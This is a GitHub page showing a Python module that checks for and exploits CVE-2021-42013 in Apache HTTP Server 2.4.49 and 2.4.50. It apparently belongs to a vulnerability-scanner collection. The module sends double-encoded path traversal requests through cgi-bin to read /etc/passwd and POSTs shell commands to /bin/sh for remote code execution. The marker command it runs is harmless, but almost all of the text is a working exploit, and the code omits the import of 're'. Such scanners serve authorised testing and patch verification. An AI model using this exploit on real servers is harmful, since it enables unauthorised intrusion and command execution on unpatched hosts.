-
Notifications
You must be signed in to change notification settings - Fork 220
/
Copy pathCVE-2021-42013.py
76 lines (60 loc) · 3.07 KB
/
CVE-2021-42013.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
# Vuln Base Info
def info():
return {
"author": "cckuailong",
"name": '''Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution''',
"description": '''A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.''',
"severity": "critical",
"references": [
"https://httpd.apache.org/security/vulnerabilities_24.html",
"https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d",
"https://nvd.nist.gov/vuln/detail/CVE-2021-42013",
"https://twitter.com/itsecurityco/status/1446136957117943815"
],
"classification": {
"cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvss-score": "",
"cve-id": "CVE-2021-42013",
"cwe-id": "CWE-22"
},
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2021", "lfi", "apache", "rce", "misconfig", "traversal"],
}
# Vender Fingerprint
def fingerprint(url):
return True
# Proof of Concept
def poc(url):
result = {}
try:
url = format_url(url)
path = """/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"""
method = "GET"
data = """"""
headers = {}
resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
path = """/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"""
method = "POST"
data = """echo Content-Type: text/plain; echo; echo 31024-1202-EVC | rev"""
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
if (re.search(r"""root:.*:0:0""",resp1.text)) or ("""CVE-2021-42013""" in resp1.text):
result["success"] = True
result["info"] = info()
result["payload"] = url+path
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
return poc(url)
# Utils
def format_url(url):
url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url